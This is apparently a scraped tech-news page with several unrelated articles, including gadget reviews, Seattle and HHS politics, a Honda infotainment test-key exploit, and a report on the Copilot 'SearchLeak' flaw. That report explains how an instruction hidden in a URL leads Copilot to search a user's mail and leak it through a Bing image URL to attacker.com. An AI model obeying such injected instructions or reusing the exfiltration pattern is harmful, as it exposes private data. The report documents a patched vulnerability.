Connect with us
DAPA Banner
DAPA Coin
DAPA
COIN PAYMENT ASSET
PRIVACY · BLOCKDAG · HOMOMORPHIC ENCRYPTION · RUST
ElGamal Encrypted MINE DAPA
🚫 GENESIS SOLD OUT
DAPAPAY COMING

Tech

Xiaoban Might be World’s First Self-Driving Toilet Robot That Brings Relief Straight to Your Bedside

Published

on

Yueban Xiaoban Self-Driving Toilet Robot
Yueban, a Tuobang-owned brand that focuses in accessible solutions, debuted their latest innovation , Xiaoban, at the 2026 Shanghai International Aged Care, Assistive Devices, and Rehabilitation Medical Expo. This is essentially a mobile smart toilet built specifically for people who have mobility challenges or rely on others for daily care.



Simply push one button on the remote or issue a voice command to activate Xiaoban. It zooms about on its own and focuses on its target owing to a network of sensors and an internal AI that monitors its surroundings in real time. This allows it to easily avoid furniture, doorways, and other obstructions, ultimately landing at your selected location, whether it’s beside your bedside or elsewhere in the house. Consider it the opposite of your typical toilet routine, in which you must get up and go to the loo rather than the loo coming to you.

Sale


iRobot Roomba Plus 505X Combo Robot Vacuum & Mop + AutoWash Dock, Auto‑Empties up to 75 Days, Extending…
  • A DEEPER CLEAN—EVEN WHERE DIRT LOVES TO HIDE. With advanced DualClean Mop Pads and PerfectEdge technology the Roomba Plus 505X reaches deeper into…
  • THE DOCK THAT HANDLES THE DIRTY WORK. The AutoWash Dock empties debris for up to 75 days and washes, refreshes, and heat‑dries mop pads—so you…
  • POWERFUL ENOUGH FOR REAL‑LIFE MESSES. From scattered cereal to muddy pawprints, enjoy confident cleaning with up to 70× stronger suction* paired…

Once it’s in place, you can sit back and relax on the stable-looking seat, and the armrests and backrest help you stay as relaxed as possible while using it. Once you’re finished, the robot will take care of everything on its own. There’s warm water for a bidet wash, a warm blast of air to dry you off, and a last flourish of ultra violet light to disinfect everything, all while its smart odor isolation mechanism keeps any leftover odors under control.

Advertisement

Yueban Xiaoban Self-Driving Toilet Robot
When you’re finished, simply get up and walk away, or indicate that it’s safe to return to base, and Xiaoban will return to its docking station, which is connected to your home’s plumbing system. It has an inbuilt grinder that grinds down waste, eliminating the possibility of pipe obstructions. Then it goes through a self-cleaning procedure, replenishes its water, and charges its battery so it is ready to go the following time.

Yueban Xiaoban Self-Driving Toilet Robot
Xiaoban’s navigation engine is driven by a 3D obstacle avoidance AI combined with some very slick multi-sensor fusion technology, which provides a real-time view of the room’s layout as it moves around. There are even LiDAR and other detectors that allow it to change direction on the fly if something gets in the way. The low-profile design ensures stability on any floor, and the controls are large and easy enough for almost anyone to use, even if they have limited hand strength.

Yueban Xiaoban Self-Driving Toilet Robot
Yueban created a mock-up of a home atmosphere for the event so that attendees could get a true sense of what the product is all about. The researchers demonstrated how easy it is for the robot to glide out of its dock and into a bedroom with no assistance from anyone. People were able to watch the obstacle avoidance system in action and assess how effectively it handled a real-world room, furniture, and distances between things. Caregivers, facility workers, and even the elderly would come over to check out the controls, asking all sorts of practical questions about how to operate the item on a daily basis.

Yueban Xiaoban Self-Driving Toilet Robot
Yueban’s team had been developing Xiaoban with the intention of using it in private homes, elder care facilities, and other settings. In China, it will cost around 28,999 yuan (approximately $4,000), but we don’t know how much it will cost or when it will be available in other countries.
[Source]

Source link

Continue Reading
Click to comment

You must be logged in to post a comment Login

Leave a Reply

Tech

Flat PopSockets Are Here (and I Like It Better Than OhSnap’s Flat Grip)

Published

on

Since launching in 2014, PopSockets have always been a quirky (and slightly bulky) grip for phones. They’re adored by those who love to accessorize their phones with their swappable designs and people who love to fidget with their accordion-style pop-out piece. But the company is now hoping to attract a new clientele with the Low-Pro, a new grip design that’s so thin that when collapsed, it sits lower than the camera bump on my iPhone 17 Pro Max

The Low-Pro goes on sale Tuesday for $40, launching first at Apple Stores and at PopSockets.com, with additional retailers at the end of July. You can see more of how it works in the latest episode of One More Thing, embedded below:

Advertisement

Watch this: Flat PopSockets Might Lure More Men: Hands-On With Low-Pro Grips

I’ve been using the MagSafe Low-Pro for the past week, and I can see the appeal this will have for those folks who just want something that slips effortlessly into their pants pockets. Like other PopSockets, it still attaches with the MagSafe magnetic backing. The front has a soft matte finish, and although it doesn’t make a “pop,” a finger nudge in any direction will raise the disk to reveal a slitted, flexible single piece of polymer. A metal ring around the edge becomes an adjustable swing-out stand to prop up your phone in portrait and landscape mode. 

1.png

When opened, the Low-Pro grip is designed to handle fidgeters who want to twist, poke and pull at it (well, up to about 30 lbs of pulling). 

PopSockets

When the Low-Pro is expanded, it reminds me of a kid’s paper lantern craft project. Thinner materials give the impression that it will be weaker, but no matter how I twist, tug or try to poke at the holes, the material holds up. Good news for fidget-lovers: This seems to be able to handle all my stretching — and the PopSockets team tells me it was designed to withstand more than 30 pounds of pulling pressure in testing.

Advertisement

Apple Stores will carry the Low-Pro in four exclusive colors to start: Blue Aura, Electric Fuchsia, Black and Navy. 

PopSocket is not the first to come up with a flush magnetic phone grip. The company OhSnap gained popularity for its Snap Grip, priced at $30, which uses a metal hinge to fold flat. But since using both, I prefer the PopSocket design because it’s easier to open with one finger from any angle, and it has the extra kickstand. 

I sat down with PopSocket inventor and founder David Barnett to learn more about the pivot to the Low-Pro. Although the PopSockets company will continue making the existing design (the one that actually pops), Barnett said the big motivator here for a new model was to lure in men who told him over the years they never gave PopSockets a chance because of their size. 

Advertisement
PopSocket David Barnett

PopSocket inventor David Barnett didn’t start off with a goal making phone grips. Here, he holds the creation that inspired the PopSocket: giant buttons on the back of an iPhone 3GS to help wrap long headset cords.

Carly Marsh/CNET

“They’d say, ‘Oh, it would get caught on my pocket,’ and I’d think to myself, It’s never gotten caught on my pocket ever,” Barnett said. “Ultimately, I wanted a solution that would meet this challenge of not being perceived as thick and bulky.” 

There is an extra benefit to this thinner design — you don’t have to take off your Low-Pro if you want to connect it to a MagSafe stand to charge. Just don’t count on it getting a fast charge: the more stuff between your phone and the charger (like a case and a grip), the slower the trickle of energy will be to your device. 

But often I use MagSafe stands to prop up my phone at work. And for once, it meant I didn’t have to pop off my PopSocket to have it snap magnetically. 

Advertisement

Source link

Continue Reading

Tech

Honda Civics And Installing Software With Android Test Keys

Published

on

As more and more of the ‘smart’ infotainment systems in cars begin to age out of support, it becomes increasingly more relevant to figure out how to do something with that lump of computer-and-display sitting prominently in the dashboard.

Here [Eric McDonald]’s reverse-engineering of the 2012-era Android-based infotainment system in a 2021 Honda Civic is an interesting case study, with recently the discovery made that the head unit of these infotainment systems can be updated via USB by using standard Android Open Source Project (AOSP) test keys as these were left on the file system.

This is a nice update to his initial reverse-engineering back in the innocent days of 2023, when such a facepalm-worthy exploit seemed unimaginable, but then the ‘s’ in ‘infotainment’ has always stood for ‘security’. In this exploit that [Eric] calls the EvilValet attack, it means that anyone with physical access to the USB port inside the car can theoretically run arbitrary code signed with these test keys, as documented in the GitHub project.

Advertisement

So far this rather foolish security issue has only been confirmed on [Eric]’s 2021 Honda Civic, but considering how those – often third-party – infotainment systems tend to get reused and recycled across generations and car variants, it’s quite possible that more Android-based infotainment systems have this vulnerability.

This exploit is obviously a double-edged sword, as on one hand it’s great that an owner of one of these cars can now basically do whatever they want with said infotainment system, but on the other hand it means that anyone who slides into your car with a USB stick can do the same.

Advertisement

Source link

Continue Reading

Tech

The SpaceX IPO Sends Elon Musk And Trump’s Starlink Cronyism Into The Thermosphere

Published

on

from the golden-age-of-corruption dept

Last week Elon Musk successfully conned America and U.S. regulators into signing off on his preposterous SpaceX IPO, which immediately generated Musk $75 billion by comically over-stating the value of SpaceX, xAI, and Starlink. Then bone-grafting the entire pile of bullshit to the U.S. economy and your retirement account under the pretense that space data centers and Mars colonization are just around the corner.

A handful of remaining useful journalists have repeatedly explained how xAI and Musk’s racist 5th place chatbot — which comprises the lion’s share of the ridiculous IPO valuation — is a gargantuan loser. Both SpaceX and xAI aren’t profitable and may never be, and the claims of Mars colonization and space data centers are unworkable bullshit designed to distract people with toddler-level critical thinking skills.

Anyway I’m sure it will go fine.

As a multi-decade telecom beat reporter I’d say I’m better positioned to talk about Starlink — the only actually profitable company in the SpaceX IPO prospectus (and that’s assuming Starlink is being honest about their financial numbers in a country too corrupt to have working financial regulators).

Advertisement

I’ve long noted how Starlink is great for people with no other options, but data has shown how it’s too congested to meaningfully scale. It’s also often too expensive for the sorts of Americans struggling with access. There’s also the problem with it ruining astronomical research and degrading the ozone layer. So Starlink is great for RVs or a guy with an extra cabin in the woods, but it’s not a miracle.

In terms of broadband policy, it’s supposed to be a niche solution. The kind of technology you use to fill in the gaps after you’ve pushed fiber, 5G, and fixed wireless out as far as you can into unserved areas.

But as I’ve mentioned previously, folks in the Trump administration and extended Rogan infotainment universe see Starlink as akin to magic. They think it’s just a sort of pixie dust you sprinkle over the entire of U.S. connectivity woes. There was a soggy Bulwark interview last week with Jason Calacanis that kind of reveals how deep the delusion goes in terms of what Starlink actually is:

Advertisement

The SpaceX IPO insists — and Calacanis dutifully believes — that it’s trivial for Starlink to jump from a niche satellite broadband solution with a little over 10 million subscribers — to a massive economic powerhouse with 300-500 million subscribers. Calacanis waxes poetic about Starlink providing bandwidth to every phone in the world and surpassing even Netflix in terms of total subscribers.

But in a way that’s highly representative of modern Silicon Valley, Calacanis doesn’t actually care about how the tech works, or even if it works. Calacanis is interested in unchecked wealth accumulation, and propping up the unbridled profit-seeking of a personal friend.

The thing is: to meaningfully grow, Starlink will need to start seriously competing on price to counter competitors (like Amazon) coming into the space. But the cost of endlessly replacing LEO (low Earth orbit satellites) is immense (SpaceX says each satellite has a five year lifespan, but it’s arguably much lower). And ARPU is already dropping for Starlink as the company tries to drum up new subscribers.

Calacanis insists Starlink’s just a hop, skip, and a jump from being even bigger than Netflix. But for Starlink to even sniff those kinds of numbers, it would have to intensely compete with deeply-entrenched and politically-powerful telecom monopolies, and fiber optic broadband and 5G/6G networks less constrained by the rules of physics. They’ve also got to compete with a rising tide of community-owned fiber.

Advertisement

As Starlink grows its subscriber base, it’s not only going to see its ARPU drop faster, but data shows it’s going to run into new capacity constraints. That means more annoying network management practices that throttle video, limit services, and generally degrade performance. We’re already starting to see the impact of this with network slowdowns and “congestion fees” ranging upwards of $750 in some areas.

And this is, so we’re clear, a company that’s never seen fit to meaningfully invest in customer service, so as these problems grow, it’s unlikely they’ll be able to handle customer annoyance well.

Anybody claiming that Starlink is the ticket to vast riches is either lying to you or doesn’t understand how the technology actually works. Even if it can maintain its success as a viable niche connectivity option useful in rural markets and global battlezones, the high cost of maintenance means this is never going to be a major money maker. Though they clearly hope it will prove to be a semi-useful backbone for a major pump and dump scheme.

The ace Elon Musk is holding is corruption and cronyism leading to regulatory favors and massive new subsidies, but it’s not clear even that’s going to be enough.

Advertisement

Cecilia Kang at the New York Times has an interesting article about how the Trump FCC has been doing cartwheels trying to prop up the Musk IPO — especially as it pertains to Starlink. That has included not just abandoning any meaningful regulatory oversight of “space junk” and orbital safety, but launching dodgy investigations into companies that hold spectrum Musk wants for himself.

Elon Musk bought himself a Presidency, and it continues to pay off handsomely:

“Carr has taken multiple actions for which Musk was the prime beneficiary,” said Blair Levin, an adviser to New Street Research, an investment research firm, and a former chief of staff at the F.C.C. He added that Starlink “has gotten a huge amount from the Trump administration and Carr.”

Carr has tried to justify his favoritism of Musk by saying he’s also rubber stamped the LEO satellite policy interests of Jeff Bezos and Amazon. But as we’ve consistently established around here, nothing Carr does is driven by any sort of good faith concern about the public interest.

The funny part is that the New York Times doesn’t even mention that the Trump administration has also hijacked the 2021 infrastructure bill to redirect potentially billions of dollars to Elon Musk and Jeff Bezos (I should have an upcoming feature on this over at The Verge). This is money being directed away from affordable fiber and toward two billionaires — for networks they already planned to build.

Advertisement

More specifically, the Trump NTIA under former Ted Cruz staffer Arielle Roth changed the language of the $42.5 billion Broadband, Equity, Access, and Deployment (BEAD) program so that Musk and Bezos would be the prime beneficiaries. They also stripped out any language requiring that internet access built with taxpayer money had to be affordable or equitably deployed with an eye on fairness.

Musk and Calacanis types try to brush functional oversight for taxpayer spending as unnecessary “wokeness.” But the ongoing BEAD saga involves an historic hijacking of Congressionally-mandated funds by bad faith actors; so it’s curious the New York Times didn’t think it was worth mentioning in a story about how unethically cozy the Trump administration and Musk are.

Like most of the SpaceX IPO this will all be proven out over time. Long after people have had their retirements account raided, or small towns have had their infrastructure hopes hijacked. Consumers, taxpayers, and labor will, as is usually the case, be left holding the bag. And the folks that made it possible will already be off to the next big thing leaving people of conscience to clean up the mess.

Filed Under: competition, corruption, cronyism, elon musk, fcc, leo satellites, spacex ipo, taxpayers, telecom

Companies: spacex, starlink, twitter, x, xai

Advertisement

Source link

Continue Reading

Tech

Critical Copilot vulnerability allowed hackers to seal 2FA code from users

Published

on

To bring about the Parameter-to-Prompt Injection an attacker sends the target an email that contains the URL with the syntax https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. The field contains an instruction. Copilot readily complied.

“The search functionality is exactly what attackers need, because even with limited capabilities, a user with access to critical information is enough,” the researchers wrote Monday. “To exfiltrate the data, an attacker crafts a URL that tells Copilot to ‘Search the user’s emails,’ extract the title, and embed it in an image URL.” The victim doesn’t type anything. They click a link, and Copilot does the rest.

Normally, the guardrail wrapping output in blocks would kick in. But the researchers discovered that the protection fires only after the “thinking” phase. Prior to that, Copilot generated its response using raw HTML, which is temporarily rendered in the browser DOM.

The researchers wrote:

Advertisement

So, the sequence looks like this:

  1. Copilot starts streaming its response, which includes an tag
  2. The browser sees the , renders it, and fires off an HTTP request to the src URL
  3. Copilot finishes generating. The guardrail wraps everything in
  4. Too late! The request already left.

The researchers now had an image request firing from the target’s browser. The problem, as noted earlier, is that Copilot won’t send image requests to most websites. To scale this guardrail, the exploit chain used Microsoft’s Bing search engine as a trampoline of sorts. Per the Copilot content security policy, Bing is among the sites permitted to send such requests. Bing would then send the request to the attacker-controlled domain that was included in the request. The request looked something like this:

https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png

Varonis has named the attack SearchLeak.

“Since SearchLeak targets the Enterprise tier of Microsoft, the blast radius isn’t limited to personal data—it’s able to surface anything the user has access to inside the organization including emails, meeting invites and notes,” company researchers wrote. “SharePoint documents, OneDrive files, and other indexed business content. Depending on how M365 is connected to the environment, the blast radius could extend even wider.”

As noted, Microsoft fixed the vulnerabilities that SearchLeak exploited on Tuesday. With no known way to fix the underlying cause of such SNAFUs, however, attackers will inevitably find new ways to circumvent the newly constructed guardrails, and the process will repeat all over again.

Advertisement

Source link

Continue Reading

Tech

Cordless Lawnmower Review: Gtech CLM50 Insights

Published

on

Verdict

Gtech have produced a very comfortable and intelligent lawn mower in the CLM50. Sporting one of the comfiest handles I’ve seen on a mower and a clever variable speed motor, it’s a joy to use. But you should expect all of that with its premium price.

  • Seriously comfortable handle

  • Variable speed motor

  • Impressive run time and fast charging

  • Expensive

  • Battery isn’t compatible with many other tools

  • Only a 30mm minimum cut height

Key Features

  • Trusted Reviews IconTrusted Reviews Icon

    Advertisement

    Review Price:
    £599.99

  • Adjustable cut height

    Advertisement

    Cuts between 30mm and 80mm.

  • Pre-assembled

    Advertisement

    Ready to go out of the box.

  • Battery powered

    Advertisement

    Uses Gtech’s own battery.

Introduction

More famous for its range of vacuum cleaners, Gtech also makes high-quality garden tools. The CLM50 is a brilliant and solidly built cordless lawnmower that’s ideal for medium-sized gardens. Powered by an impressive 48V battery system, it sails through all types of grass.

Design and Features

  • Single cutting blade
  • Comfy foam wrapped handlebar
  • Doesn’t stand up on its end easily

Advertisement

My first impression of the CLM50 was good. A handsomely designed mower that looks a little bit like a Formula 1 car, it’s miles away from some bulky and bland mowers.

Advertisement
Gtech CLM50 Lawnmower on the grassGtech CLM50 Lawnmower on the grass
Image Credit (Trusted Reviews)

The CLM50 runs on Gtech’s 48 Volt battery system with a capacity of 2.0 Ah. It might not sound like much, but it has a 40-minute runtime, which is better than a lot of the competition. There’s a handy battery charge level indicator on it, and the charger is just as impressive. It can take a dead battery back to 100% in just 60 minutes.

Gtech CLM50 battery and chargerGtech CLM50 battery and charger
Image Credit (Trusted Reviews)

It’s good to see a large safety key on top of the mower body that should stop curious children from using the mower. Like a key in a car, you need to insert and turn it to switch on the mower.

Gtech CLM50 safety keyGtech CLM50 safety key
Image Credit (Trusted Reviews)

Advertisement

You can change cutting heights from 30 – 80 mm with a big chunky handle. The deck is sprung as well, which makes it much easier to adjust. Another impressive feature is the large capacity 50 litre grass collection box, a semi-rigid fabric bag that also has a full indicator flap.

This mower has a 42cm cut width, which is ideal for medium-sized gardens. It means fewer passes over the lawn to get an even finish, but at the expense of not quite fitting between shrubs and into tight corners.

Gtech CLM50 cordless lawnmower side viewGtech CLM50 cordless lawnmower side view
Image Credit (Trusted Reviews)

Something quite different about Gtech’s lawnmower is the blade. Unlike most rotary mowers that use a knife with blades on both ends, the CLM50 has an “Omniblade”, or a single cutting blade that’s weighted on the other end. The point being that it uses less energy and increases the mower’s efficiency.

When it comes to storing the mower away, an all-important feature is sadly missing. Although I could prop it up on its end, I would prefer it if this mower was designed to be stowed away upright as it takes up far less space. For more ideas, take a look at our guide to cordless lawnmowers.

Gtech CLM50 standing up for storageGtech CLM50 standing up for storage
Image Credit (Trusted Reviews)

Advertisement

Performance

  • Fast, effortless setup
  • Powerful, low noise performance
  • Fast 60 minute recharge

The first thing you need to do with any cordless lawnmower is get set up for its first use, however, that’s not the case with the Gtech CLM50. The handle is already attached, which saves time and fiddling around. All I needed to do was extend the handle, do up the cam bolts in the middle, and it was ready for work.

To help stretch the battery life, the onboard motor can sense resistance. The motor only revs up to full power if it feels like it’s pushing through long or tough grass. This feature works well; it ramps up quickly enough to tackle big clumps of grass without needing to mow over the same spot twice.

Advertisement

The mowing heights of 30 – 80 mm are fine if you like longer grass, but this mower won’t produce bowling green short grass- the sweet spot between 20-25 mm. Something I really like about this mower is the lack of noise. Running at less than 80 dB, it’s ideal for mowing without annoying the neighbours too much.

My initial concerns around the Omniblade, the single cutting blade underneath the deck, were happily proved wrong. The quality of cut is excellent, and having only one carbon steel blade to sharpen should save time and effort in the future. Overall, it’s one of the better premium cordless electric lawnmowers I’ve had the chance to test this year.

Gtech CLM50 mowing performanceGtech CLM50 mowing performance
Image Credit (Trusted Reviews)

Advertisement

Should you buy it?

You want a comfortable handle and wide cut

Advertisement

Very comfortable to use and with a 42cm cutting width, this lawn mower is ideal for mid-sized gardens.

Advertisement

You want to use the battery in a wide-range of other tools

The Gtech battery only works in this mower, a hedge trimmer, and a grass trimmer.

Advertisement

Final Thoughts

This is a really impressive cordless lawnmower from Gtech. It’s powerful, has a wide cut width, and handles well on the grass. The runtime is impressive, and so is the recharging time. The only issue is that it’s a big investment to make when its “50 series” battery isn’t compatible with a wide range of other tools.

How We Test

We test every lawn mower we review thoroughly over an extended period of time. We use standard tests to compare features properly. We’ll always tell you what we find. We never, ever, accept money to review a product.

Find out more about how we test in our ethics policy.

  • Used as our main lawn mower for the review period
  • Used on a variety of grass lengths to see how well the mower cuts
  • Tested to see how easy the mower is to push, turn and store

FAQs

Can you use the Gtech CLM50’s battery in other tools?

Yes, the battery is compatible withi Gtech’s other cordless garden tools.

Advertisement

Full Specs

  Gtech CLM50 Review
UK RRP £599.99
Manufacturer GTech
Size (Dimensions) 47 x 122 x 106 CM
Weight 13.5 KG
Release Date 2026
First Reviewed Date 11/05/2026
Lawn Mower Type Cordless
Adjustable height Yes
Blade Type Rotary
Cutting width 42 cm
Grass catcher box size 50 litres
Max lawn size 400 m2
Cutting heights 30 – 80 mm

Advertisement

Source link

Advertisement
Continue Reading

Tech

Five years in, new analysis links Seattle’s ‘JumpStart’ tax to downtown decline

Published

on

Amazon’s headquarters and neighboring towers in downtown Seattle. (GeekWire Photo / Kurt Schlosser)

Updated with comments from Seattle Mayor Katie Wilson.

A new Downtown Seattle Association report asserts that Seattle’s signature tax on big employers is backfiring, five years after it went into effect, holding up nearby Bellevue as an example of the jobs and prosperity the city has missed out on in the process.

The report, released Monday afternoon, finds that downtown Seattle has lost about 30,000 jobs since 2020 and that the taxable value of its office buildings has fallen 48% — even as Bellevue, which has no comparable tax, added jobs and saw commercial values rise 7%. 

JumpStart, passed in 2020 and in effect since 2021, taxes the payrolls of Seattle’s largest employers, including Amazon and other big tech companies. It’s projected to raise about $388 million this year, down from earlier forecasts, due in part to the loss of high-paying jobs. 

It is, to a large extent, a tax on big tech. About 70% of JumpStart revenue comes from just 10 companies, most in the technology sector, according to the city’s budget office. That’s a reflection of how heavily Seattle’s economy leans on a handful of large tech employers.

Advertisement

“These were a set of taxes that may have provided some short-term gain to the city coffers, but are inflicting long-term pain,” DSA President and CEO Jon Scholes said in an interview. “We predicted that at the time, and were sort of dismissed and ignored.” 

Seattle Mayor Katie Wilson, in a statement Monday evening, credited JumpStart with helping the city recover from the pandemic and cautioned against blaming downtown’s challenges on any single cause.

The tax has raised far more than originally projected over the past several years, she said, and let the city avoid deep budget cuts that would have dragged on the local economy.

“We should be careful not to oversimplify the challenges facing downtown and our regional economy,” Wilson said, blaming “chaotic and counterproductive national economic policies” for higher costs and interest rates that have slowed investment across the city, region, and country.

Advertisement

Wilson also cited the pandemic, the rise of remote work and broader shifts in the tech sector as forces that have affected cities well beyond Seattle. The city’s recovery, she said, has remained resilient and competitive even as her administration works to diversify the economy for the future.

Amazon had started to expand in Bellevue prior to the JumpStart tax, following the city’s short-lived 2018 “head tax,” a JumpStart precursor that the council at the time passed and quickly repealed. The company has since built its Bellevue workforce to about 15,000 people, part of what it now calls its broader Puget Sound regional headquarters. 

@media (max-width: 600px) {
aside.callout { float:none !important; max-width:100% !important; margin-left:0 !important; margin-right:0 !important; }
aside.callout .callout-img { display:none !important; }
}

JumpStart was an early example of a wave of new taxes in Washington that has prompted business and tech leaders to warn of an increasingly anti-business climate. Lawmakers have since added a capital gains tax and, this spring, a 9.9% tax on income above $1 million — fueling concerns from some executives about the state’s competitiveness.

The DSA is not calling for outright repeal of the Seattle tax. Scholes said the group wants a “course correction” — incentives and the temporary suspension of payroll or business taxes for companies that invest in Seattle, along with a more welcoming posture from City Hall toward employers. 

Advertisement

The tax was created to fund affordable housing, small-business support, climate programs and equitable development, with the largest share (about 62%) going to housing. But amid recurring budget shortfalls, the city has tapped JumpStart to help prop up its general fund, transferring about $201 million — roughly 47% of the tax’s revenue — to general government operations this year, according to budget documents.

DSA may face a challenge in proving a direct causal link between the tax and the trends in downtown Seattle. Downtowns across the country, including San Francisco, Portland and Chicago, have seen office values fall and vacancies climb since the pandemic with no comparable tax, due to remote work, tech-sector layoffs and AI-driven cuts. 

Scholes asserted that Bellevue has faced similar pressures yet kept growing.

“We think it’s a pretty good control group over there,” he said, attributing the divergence to Seattle’s higher cost of doing business and an unwelcoming “tone and tenor” toward employers. 

Advertisement

Scholes said he was encouraged by early signals from Wilson, who has asked city departments to identify spending reductions ahead of her 2027 budget, due late this summer. He credited the mayor for that but added that the DSA is taking a wait-and-see approach overall. 

In her statement, Wilson said Seattle “remains one of the fastest-growing big cities in the country,” but added that the city needs “to do more to push against the global and national headwinds and build a city with more businesses opening here, thriving here, and providing jobs here.”

The key to improving its economic climate, she said, is addressing homelessness, improving public safety, and making Seattle a better, more affordable place to live and work.

Read the DSA report here.

Advertisement

Source link

Continue Reading

Tech

RFK Jr. Is Very Mad About Reports That He’s Checked Out Of Most Of HHS’ Work

Published

on

from the hiding-in-public dept

We should all know at this point that RFK Jr. is bad at his job as Secretary of HHS. But that simplistic statement apparently needs something of a qualifier. Instead, it appears we should say that RFK Jr. is bad at the parts of his job that he chooses to do. Because, according to a New York Times report, he doesn’t really pay all that much attention to most of HHS’ work.

The Times begins the piece by pointing out that as the Ebola crisis in Africa continues to rage on, already infecting several Americans who were traveling abroad, Kennedy has been mostly absent from briefings on the outbreak. He talks to the very people who could inform him of the goings on there, but he just doesn’t get many briefings on the topic. And that led the Times to try to find out what else Kennedy isn’t bothering to pay attention to. The answer, according to insiders at HHS, is pretty much everything that isn’t one of his pet agenda items.

Mr. Kennedy’s approach to the crisis reflects his broader management of the Department of Health and Human Services, which affects the health of 340 million Americans and provides health care to 40 percent of the population through Medicare and Medicaid.

Mr. Kennedy has shown little interest in managing the details of work in his department, according to multiple colleagues. Instead, they say, he is single-mindedly focused on his top priorities, including food recommendations and pesticide exposures, and hunting for evidence to support his long-held beliefs that vaccines are harmful.

Deeply mistrustful of career civil officials, the secretary has surrounded himself with a close circle of handpicked advisers and stacked agencies with political appointees aligned with his views. While major posts have sat vacant and a wave of veteran health experts and scientists have departed, Mr. Kennedy has remained isolated from much of the department’s top staff.

Advertisement

Now, all of this by itself would be some combination of interesting, damning, and explanatory of why so much negative health shit is occurring in America these days. Measles outbreaks, a spate of whooping cough surging, unfilled positions, an ACIP panel that is not allowed to operate because the courts said so, and so on. Having an HHS leader completely out to lunch while we have all of these health threats around us, all so he can go chase vaccine conspiracies, chem-trails, and snakes is not exactly a recipe for good health outcomes in the country. That he’s selfishly saving all of his time for his own personal interests may not be surprising, but it does need correcting.

Kennedy took to ExTwitter to defend himself from the report, which he claimed was very wrong, because he only misses some meetings.

“You fault me for missing a couple of monthly counselor meetings. However, I meet one-on-one with my counselors every day to decide policy and strategy. We schedule the monthly meetings to give the divisions a chance to keep each other informed about HHS-wide policies with which I’m already intimately familiar.”

RFK Jr. questioned the outlet on whether they bothered to check his public calendar, which is filled with back-to-back meetings that concern his role. He revealed that he’s actively involved in addressing issues and making final decisions, as he summarized his schedule, stating that he works until 11:00 pm. Additionally, he touched on how the outlet used quotes from those employees, some of whom he had fired in the past, further calling into question their credibility and fact-checking skills.

Now, if you want to understand just how completely, pathologically wrong and false Kennedy is willing to be, let’s zero right the hell in on that whole “did you bother to check my public calendar” retort. Why? Well, because by all accounts, Kennedy’s calendar is not in any way public. Multiple groups have filed FOIA requests that have gone unaddressed for years, or else filed lawsuits, in order to get access to his calendar. They can’t get it. The Center for Biological Diversity filed suit over this a year ago. Statnews.com has been after it via FOIA requests for over a year, as well.

Advertisement

But no such calendar, detailing who Kennedy meets with or how he spends his time, has been released by the administration. STAT has been asking the Department of Health and Human Services for Kennedy’s calendar for more than a year, via Freedom of Information Act requests and emails to the press office.

Since last year, STAT reporters have requested the calendars of Kennedy and his principal deputy chief of staff, Stefanie Spear, multiple times. That has included a request last February for a calendar from Kennedy’s first two weeks on the job and then a request last June for Spear’s calendars since she started in her role. Spear, whose personal office is attached to Kennedy’s, is known to attend nearly every meeting with the secretary. 

The HHS press office did not respond to questions about the public calendar Kennedy described, the number of staffers currently in FOIA offices across the agency, the response times to requests compared to earlier administrations, or which outlets were being restricted by the administration.

It’s one thing to hide your calendar while you’re not fulfilling your obligations as a cabinet member. It’s an entirely different thing to do all of that and try to admonish the press for not checking a public calendar that has never been made public.

Either Kennedy thinks his calendar is public when it isn’t, which is a terrible look for him and his understanding of how his own agencies are operating, or he does know it’s not public, is lying about it, and somehow thinks that nobody will bother to point it out.

Advertisement

So, the open question appears to be whether RFK Jr. is a bumbling fool who isn’t in full command of HHS…or a bad and fairly dumb liar.

So, Secretary Kennedy, once you’re back from an extended lunch and nap session, which is it?

Filed Under: ebola, health & human services, measles, rfk jr., vaccines

Advertisement

Source link

Continue Reading

Tech

Clearaudio N2 MM Cartridge Debuts With Featherlight German Precision and Heavyweight Vinyl Sound

Published

on

Clearaudio did not exactly hide at High End Vienna 2026. The German analog specialist rolled into the show with new turntables, artist editions, and a Rammstein-branded deck that became one of the more talked-about analog products on the floor. Because apparently nothing says precision vinyl playback like industrial metal, LEDs, and a room full of hi-fi people pretending they were always huge Rammstein fans.

But the product that might matter most to real-world turntable owners is a lot smaller and far less theatrical. The new Clearaudio N2 MM cartridge is a moving-magnet design priced at just $290 USD, and that puts it directly in the path of Audio-Technica, Grado, Ortofon, and Sumiko, four brands that already own a lot of space in the affordable cartridge conversation.

The N2 is designed for broad tonearm compatibility, which makes it a practical upgrade for a wide range of turntables. Clearaudio carries over the proven motor assembly from the N1, but adds a new carbon fiber-reinforced housing produced using 3D printing technology, with the goal of improving rigidity, resonance control, and long-term consistency.

The N2 may not have generated the same noise as Clearaudio’s Rammstein turntable in Vienna, but it could prove to be the more relevant product for listeners looking to improve an existing deck without spending high-end cartridge money.

Advertisement
clearaudio-n2-black-phono-cartridge
clearaudio N2 MM Phono Cartridge

Clearaudio N2 MM Cartridge Targets the Affordable Upgrade Market

The Clearaudio N2 MM cartridge is built around a simple but important idea: control unwanted vibration before it reaches the generator system.

The key change is the new PETG-CF body, a carbon fibre-reinforced engineering polymer that gives the cartridge housing greater rigidity than standard plastic without adding unnecessary mass. Cartridge bodies are not passive decoration. They influence how energy moves through the cartridge, headshell, and tonearm. By using a stiffer, lower-resonance material, Clearaudio is trying to give the stylus and motor assembly a quieter mechanical platform to work from.

That matters because the N2 shares the proven motor assembly of the N1, but moves away from the heavier aluminium body. At 8.5 grams, the N2 is significantly lighter, which broadens compatibility with a wider range of tonearms, including lightweight designs that may not have been an ideal match for the N1. In practical terms, this should make setup easier and reduce the chances of running into compliance, counterweight, or tracking-force issues. Very German problem solving: make it lighter, stiffer, and harder to blame on the tonearm.

Output voltage is rated at 3.3mV, putting the N2 on the same level as Clearaudio’s Concept v2 series. That makes it suitable for standard moving magnet phono inputs without requiring extra gain, a step-up transformer, or other system changes. For most users, the N2 should slot directly into an existing MM setup.

Clearaudio also pays attention to the small installation details. The laser-finished black housing gives the cartridge a more precise, industrial look, while integrated threaded inserts should make mounting more secure and less frustrating than designs that rely on loose nuts and tiny hardware.

Advertisement

At £250, €250, and $290, the N2 is not chasing exotic cartridge money. It is a lightweight, rigid, low-resonance MM design aimed at improving mechanical stability, tonearm compatibility, and everyday usability without turning cartridge setup into a weekend engineering project.

clearaudio N2 MM Phono Cartridge Connected to Silver Tonearm

The Bottom Line

